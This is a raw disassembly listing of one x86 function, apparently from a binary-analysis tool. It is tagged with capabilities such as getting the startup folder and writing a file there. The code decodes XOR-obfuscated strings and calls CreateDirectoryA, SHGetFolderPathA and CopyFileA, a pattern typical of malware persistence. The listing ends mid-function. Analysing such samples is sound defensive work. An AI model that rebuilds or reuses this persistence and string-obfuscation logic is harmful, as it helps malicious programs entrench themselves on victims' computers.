Function at 0x40b8e0
Capabilities:
Authenticate hmac
Copy file
Create directory
Get common file path
Get startup folder
Write file to startup folder

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x54dd39
push eax
mov dword fs:[0], esp
mov eax, 0x1468
push ebx
call fcn.00434720
mov dword [ebp - 0x38], 0
cmp byte [0x585b3e], 0
mov al, byte [0x585b3f]
mov byte [ebp - 0x78], al
mov al, byte [0x586c0e]
push esi
mov byte [ebp - 0x7d], al
mov al, byte [0x585b20]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov byte [ebp - 0x33], al
je 0x40c004
mov dword [ebp - 0x18], 0x8fcfa5c9
mov edx, 0x586d74
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x310], eax
mov dword [ebp - 0x30c], ecx
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x308], eax
mov dword [ebp - 0x304], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x310]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x310]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xa84]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x310], xmm1
call fcn.0041ab20
add esp, 4
mov dword [ebp - 4], 0
lea eax, [ebp - 0xa84]
cmp dword [ebp - 0xa70], 0xf
push 0
cmova eax, dword [ebp - 0xa84]
push eax
call edi
test eax, eax
je 0x40bff2
mov dword [ebp - 0x18], 0xb3f2a5c9
lea edx, [ebp - 0xa84]
mov dword [ebp - 0x14], 0x9529a0be
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x320], eax
mov dword [ebp - 0x31c], ecx
mov dword [ebp - 0x18], 0x7dbbf38a
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x318], eax
mov dword [ebp - 0x314], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x320]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x320]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xc58]
xorps xmm1, xmmword [ebp - 0x30]
push eax
mov byte [ebp - 0x32], 0
movaps xmmword [ebp - 0x320], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 1
lea eax, [ebp - 0xc58]
cmp dword [ebp - 0xc44], 0xf
push 0
cmova eax, dword [ebp - 0xc58]
push eax
call edi
mov esi, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
je 0x40bc4c
push 0x104
lea eax, [ebp - 0x1370]
push 0
push eax
call fcn.004359b0
add esp, 0xc
lea eax, [ebp - 0x1370]
push eax
push 0
push 0
push 0x1a
push 0
call esi
mov dword [ebp - 0x18], 0xb3f2a5c9
mov dword [ebp - 0x14], 0x9529a0be
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x330], eax
mov dword [ebp - 0x32c], ecx
mov dword [ebp - 0x18], 0x7dbbf38a
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x328], eax
mov dword [ebp - 0x324], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x330]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x330]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xff8]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x330], xmm1
call fcn.00402cf0
mov byte [ebp - 4], 2
lea edx, [ebp - 0x1370]
push eax
lea ecx, [ebp - 0xd88]
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xff8]
call fcn.00402df0
cmp dword [ebp - 0xd74], 0xf
lea ecx, [ebp - 0xd88]
cmova ecx, dword [ebp - 0xd88]
call fcn.004e6ca0
test al, al
je 0x40bc2e
sub esp, 0x18
lea eax, [ebp - 0xc58]
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 5
sub esp, 0x18
lea eax, [ebp - 0xd88]
mov dword [ebp - 0x74], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 6
mov byte [ebp - 4], 4
xor cl, cl
call fcn.004dff00
add esp, 0x30
test eax, eax
jne 0x40bc2e
mov byte [ebp - 0x32], 1
jmp 0x40bc3d
push ecx
lea ecx, [ebp - 0xc58]
call fcn.004e6770
add esp, 4
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xd88]
call fcn.00402df0
mov dword [ebp - 0x18], 0xabf4b7c9
lea edx, [ebp - 0xa84]
mov dword [ebp - 0x14], 0x960396ba
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x340], eax
mov dword [ebp - 0x33c], ecx
mov dword [ebp - 0x18], 0x13daff8b
mov dword [ebp - 0x14], 0x14aa239a
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x338], eax
mov dword [ebp - 0x334], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x340]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x340]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xc28]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x340], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 7
lea eax, [ebp - 0xc28]
cmp dword [ebp - 0xc14], 0xf
push 0
cmova eax, dword [ebp - 0xc28]
push eax
call edi
test eax, eax
je 0x40bfbf
push 0x104
lea eax, [ebp - 0x1478]
push 0
push eax
call fcn.004359b0
add esp, 0xc
lea eax, [ebp - 0x1478]
push eax
push 0
push 0
push 0x1a
push 0
call esi
mov dword [ebp - 0x18], 0x96d3a4c9
mov dword [ebp - 0x14], 0xab05b688
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x8f0], eax
mov dword [ebp - 0x8ec], ecx
mov dword [ebp - 0x18], 0x5d8e5ba
mov dword [ebp - 0x14], 0x64ac20a1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x8e8], eax
mov dword [ebp - 0x8e4], ecx
mov dword [ebp - 0x18], 0xb0210089
mov dword [ebp - 0x14], 0xc0cfc619
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x8e0], eax
mov dword [ebp - 0x8dc], ecx
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x8d8], eax
mov dword [ebp - 0x8d4], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xd94f69a7
mov dword [ebp - 0x14], 0xc0cfc619
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x8f0]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x8f0], xmm1
movaps xmm1, xmmword [ebp - 0x8e0]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x8f0]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x1088]
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x8e0], xmm1
call fcn.00402cf0
mov byte [ebp - 4], 8
lea edx, [ebp - 0x1478]
push eax
lea ecx, [ebp - 0xa6c]
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x1088]
call fcn.00402df0
cmp dword [ebp - 0xa58], 0xf
lea eax, [ebp - 0xa6c]
cmova eax, dword [ebp - 0xa6c]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call fcn.00402cf0
mov byte [ebp - 4], 0xb
mov byte [ebp - 4], 0xa
call fcn.004e6d70
add esp, 0x18
test al, al
je 0x40bfa1
mov dword [ebp - 0x18], 0xa7f894c9
lea edx, [ebp - 0xc28]
mov dword [ebp - 0x14], 0x89349c84
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x350], eax
mov dword [ebp - 0x34c], ecx
mov dword [ebp - 0x18], 0x14d5fbc8
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x348], eax
mov dword [ebp - 0x344], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x350]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x350]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x10a0]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x350], xmm1
call fcn.0041ab20
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0xc
cmp dword [ecx + 0x14], 0xf
jbe 0x40bf68
mov ecx, dword [ecx]
cmp dword [ebp - 0xa58], 0xf
lea eax, [ebp - 0xa6c]
push 0
cmova eax, dword [ebp - 0xa6c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x10a0]
call fcn.00402df0
test esi, esi
je 0x40bfa1
mov byte [ebp - 0x32], 1
jmp 0x40bfb0
push ecx
lea ecx, [ebp - 0xc28]
call fcn.004e6770
add esp, 4
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xa6c]
call fcn.00402df0
cmp byte [ebp - 0x32], 0
jne 0x40bfd4
push ecx
lea ecx, [ebp - 0xa84]
call fcn.004e6770
add esp, 4
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xc28]
call fcn.00402df0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xc58]
call fcn.00402df0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa84]
call fcn.00402df0
cmp byte [ebp - 0x33], 0
je 0x40f393
mov dword [ebp - 0x18], 0xb2faa4c9
mov edx, 0x586d74
mov dword [ebp - 0x14], 0xf94089be
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x360], eax
mov dword [ebp - 0x35c], ecx
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x358], eax
mov dword [ebp - 0x354], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x360]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x360]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x1a8]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x360], xmm1
call fcn.0041ab20
add esp, 4
mov dword [ebp - 4], 0xd
lea eax, [ebp - 0x1a8]
cmp dword [ebp - 0x194], 0xf
push 0
cmova eax, dword [ebp - 0x1a8]
push eax
call edi
test eax, eax
je 0x40f381
mov dword [ebp - 0x18], 0xb0e9a4c9
lea edx, [ebp - 0x1a8]
mov dword [ebp - 0x14], 0x892f8eac
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x370], eax
mov dword [ebp - 0x36c], ecx
mov dword [ebp - 0x18], 0x7dbbf38f
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x368], eax
mov dword [ebp - 0x364], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x370]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x370]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xcb8]
xorps xmm1, xmmword [ebp - 0x30]
push eax
mov byte [ebp - 0x31], 0
movaps xmmword [ebp - 0x370], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0xcb8]
cmp dword [ebp - 0xca4], 0xf
push 0
cmova eax, dword [ebp - 0xcb8]
push eax
call edi
test eax, eax
je 0x40c4b9
mov dword [ebp - 0x18], 0xb0e9a4c9
mov dword [ebp - 0x14], 0x892f8eac
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x8d0], eax
mov dword [ebp - 0x8cc], ecx
mov dword [ebp - 0x18], 0xee7f38f
mov dword [ebp - 0x14], 0x3abd309f
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x8c8], eax
mov dword [ebp - 0x8c4], ecx
mov dword [ebp - 0x18], 0xd93b08c3
mov dword [ebp - 0x14], 0xc0cfc619
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x8c0], eax
mov dword [ebp - 0x8bc], ecx
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x8b8], eax
mov dword [ebp - 0x8b4], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xd94f69a7
mov dword [ebp - 0x14], 0xc0cfc619
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x8d0]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x8d0], xmm1
movaps xmm1, xmmword [ebp - 0x8c0]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x8d0]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x10b8]
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x8c0], xmm1
call fcn.00402cf0
mov esi, eax
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x18], 0x9ed8acd9
mov dword [ebp - 0x14], 0xa910bb97
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x380], ecx
mov dword [ebp - 0x37c], edx
mov dword [ebp - 0x18], 0x3cefd3a2
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x378], eax
mov dword [ebp - 0x374], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x380]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x380]
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x380], xmm1
call fcn.004423e1
add esp, 4
lea ecx, [ebp - 0xa9c]
mov edx, eax
push esi
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x10b8]
call fcn.00402df0
cmp dword [ebp - 0xa88], 0xf
lea eax, [ebp - 0xa9c]
cmova eax, dword [ebp - 0xa9c]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call fcn.00402cf0
mov byte [ebp - 4], 0x12
mov byte [ebp - 4], 0x11
call fcn.004e6d70
add esp, 0x18
test al, al
je 0x40c49b
mov dword [ebp - 0x18], 0xa9fa90c9
lea edx, [ebp - 0xcb8]
mov dword [ebp - 0x14], 0x9824d4be
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x390], eax
mov dword [ebp - 0x38c], ecx
mov dword [ebp - 0x18], 0x7dbb9292
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x388], eax
mov dword [ebp - 0x384], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x390]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x390]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x10d0]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x390], xmm1
call fcn.0041ab20
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x13
cmp dword [ecx + 0x14], 0xf
jbe 0x40c462
mov ecx, dword [ecx]
cmp dword [ebp - 0xa88], 0xf
lea eax, [ebp - 0xa9c]
push 0
cmova eax, dword [ebp - 0xa9c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x10d0]
call fcn.00402df0
test esi, esi
je 0x40c49b
mov byte [ebp - 0x31], 1
jmp 0x40c4aa
push ecx
lea ecx, [ebp - 0xcb8]
call fcn.004e6770
add esp, 4
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0xa9c]
call fcn.00402df0
mov dword [ebp - 0x18], 0xb1f2aec9
lea edx, [ebp - 0x1a8]
mov dword [ebp - 0x14], 0x983299be
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x3a0], eax
mov dword [ebp - 0x39c], ecx
mov dword [ebp - 0x18], 0x7dbbe680
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x398], eax
mov dword [ebp - 0x394], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x3a0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x3a0]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xa28]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x3a0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0xa28]
cmp dword [ebp - 0xa14], 0xf
push 0
cmova eax, dword [ebp - 0xa28]
push eax
call edi
test eax, eax
je 0x40d1de
mov dword [ebp - 0x18], 0xb6f6cdc9
mov dword [ebp - 0x14], 0x8b239fb5
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x970], eax
mov dword [ebp - 0x96c], ecx
mov dword [ebp - 0x18], 0x21cff487
mov dword [ebp - 0x14], 0x7aad2792
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x968], eax
mov dword [ebp - 0x964], ecx
mov dword [ebp - 0x18], 0xab2a01c4
mov dword [ebp - 0x14], 0xa3aca746
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x960], eax
mov dword [ebp - 0x95c], ecx
mov dword [ebp - 0x18], 0xda173387
mov dword [ebp - 0x14], 0xfaab750f
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x958], eax
mov dword [ebp - 0x954], ecx
mov dword [ebp - 0x18], 0xe52d7986
mov dword [ebp - 0x14], 0x7eadd2b7
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x950], eax
mov dword [ebp - 0x94c], ecx
mov dword [ebp - 0x18], 0xd5d93a8a
mov dword [ebp - 0x14], 0x19127bfa
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x948], eax
mov dword [ebp - 0x944], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xd94f69a7
mov dword [ebp - 0x14], 0xc0cfc619
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x14], 0x89c15b7c
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xe52d17e9
mov dword [ebp - 0x14], 0x7eadd2b7
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xd5d93a8a
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x14], 0x19127bfa
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x4c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x970]
xorps xmm1, xmmword [ebp - 0x70]
movaps xmmword [ebp - 0x970], xmm1
movaps xmm1, xmmword [ebp - 0x960]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x960], xmm1
movaps xmm1, xmmword [ebp - 0x950]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
xorps xmm1, xmmword [ebp - 0x50]
mov byte [ebp - 0x32], 0
lea eax, [ebp - 0x970]
movaps xmmword [ebp - 0x950], xmm1
push eax
lea ecx, [ebp - 0x10e8]
call fcn.00402cf0
mov esi, eax
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x18], 0x9bcbb3d4
mov dword [ebp - 0x14], 0xf901ae9a
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x3b0], ecx
mov dword [ebp - 0x3ac], edx
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x3a8], eax
mov dword [ebp - 0x3a4], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x3b0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x3b0]
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x3b0], xmm1
call fcn.004423e1
add esp, 4
lea ecx, [ebp - 0xae4]
mov edx, eax
push esi
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x10e8]
call fcn.00402df0
cmp dword [ebp - 0xad0], 0xf
lea eax, [ebp - 0xae4]
cmova eax, dword [ebp - 0xae4]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call fcn.00402cf0
mov byte [ebp - 4], 0x18
mov byte [ebp - 4], 0x17
call fcn.004e6d70
add esp, 0x18
test al, al
je 0x40c98c
mov dword [ebp - 0x18], 0xaafa8fc9
lea edx, [ebp - 0xa28]
mov dword [ebp - 0x14], 0x9c2899b5
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x8b0], eax
mov dword [ebp - 0x8ac], ecx
mov dword [ebp - 0x18], 0x1edacd94
mov dword [ebp - 0x14], 0x7aad299d
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x8a8], eax
mov dword [ebp - 0x8a4], ecx
mov dword [ebp - 0x18], 0xb3611ad3
mov dword [ebp - 0x14], 0xc0a1a96a
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x8a0], eax
mov dword [ebp - 0x89c], ecx
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x898], eax
mov dword [ebp - 0x894], ecx
mov dword [ebp - 0x18], 0xdf9be395
